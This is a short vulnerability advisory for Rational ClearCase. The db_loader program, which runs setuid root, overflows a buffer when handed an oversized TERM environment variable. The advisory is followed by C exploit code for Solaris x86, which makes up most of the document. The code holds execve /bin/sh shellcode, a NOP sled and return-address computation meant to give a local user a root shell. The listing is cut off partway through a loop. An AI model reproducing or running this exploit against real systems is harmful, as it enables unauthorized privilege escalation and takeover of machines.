// source: https://www.securityfocus.com/bid/3523/info ClearCase is a commercially available software change management package. It is maintained and distributed by Rational. A problem with the package could lead to a local user gaining elevated privileges. The problem is in the handling of environment variables by db_loader. db_loader does not correctly handle input from a user's TERM environment variable, making it possible for a local user to execute arbitrary code when 550 bytes of data is placed in TERM. Since the db_loader program is setuid root, this problem can result in a local user gaining administrative access on a vulnerable system. /* Rational ClearCase TERM environment variable buffer overflow exploit * test it again solaris x86 7, bug found by virtualcat@xfocus.org * xploit by xundi@xfocus.org * website: http://xfocus.org */ #include #include #include #define RET_DIS 550 #define NOP 0x90 #define NNOP 512 #define ENV_VAR "TERM" #define USER_UPPER_MAGIC 0x08047fff /* Shell code taken from Pablo Sor's "mailx -F" exploit code */ char shellCode[] = "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4" "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf" "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff" "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53" "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f" "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff"; int get_esp() { __asm__("mov %esp,%eax"); } int getEnvAddr(const char* envPtr) { int envAddr = NULL; int retCode = 0; char* charPtr = (char *) get_esp(); /* Search for the starting address of the environment string for */ /* the specified environment variable */ while((unsigned int) charPtr < (unsigned int) USER_UPPER_MAGIC) { retCode = memcmp((unsigned char *) charPtr++, envPtr, 4); /* Found */ if(retCode == 0) { envAddr = (int) (charPtr - 1); break; } } return envAddr; } int main(int argc, char** argv) { char buff[256] = {0}; int* intPtr = NULL; char* buffPtr = NULL; char* charPtr = NULL; int retAddr = 0; int retValue = 0; int buffLen = 0; int adjustment = 0; int strLen = 0; int alignment = 0; int diff = 0; int i; int shellCodeLen = strlen(shellCode); if(argc == 2) { adjustment = atoi(argv[1]); } buffLen = strlen(ENV_VAR) + RET_DIS + NNOP + shellCodeLen + 1; charPtr = getenv(ENV_VAR); /* Adjust the stupid alignment */ strLen = strlen(charPtr) + 1; alignment = strLen % 4; if(alignment != 0) { alignment = 4 - alignment; strLen += alignment; } alignment = buffLen % 4; if(alignment != 0) { alignment = 4 - alignment; buffLen += alignment; } retValue = getEnvAddr(ENV_VAR); diff = buffLen - strLen; retAddr = retValue - diff + strlen(ENV_VAR) + 1; alignment = retAddr % 4; if(alignment != 0) { alignment = 4 - alignment; } retAddr += RET_DIS + alignment + adjustment; /* Allocate memory for the evil buffer */ buffPtr = (char *) malloc(buffLen); if(buffPtr != NULL) { strcpy(buffPtr, ENV_VAR); strcat(buffPtr, "="); charPtr = (char *) (buffPtr + strlen(buffPtr)); /* Fill the rest of the buffer with 'A' */ memset(charPtr, 0x41, buffLen - strlen(buffPtr)-4); /* Butt in the return address */ intPtr = (int *) (charPtr + RET_DIS); *intPtr++ = retAddr; /* Make sure the NOPs are located word aligned */ charPtr = (char *) intPtr; charPtr += alignment; for(i=0; i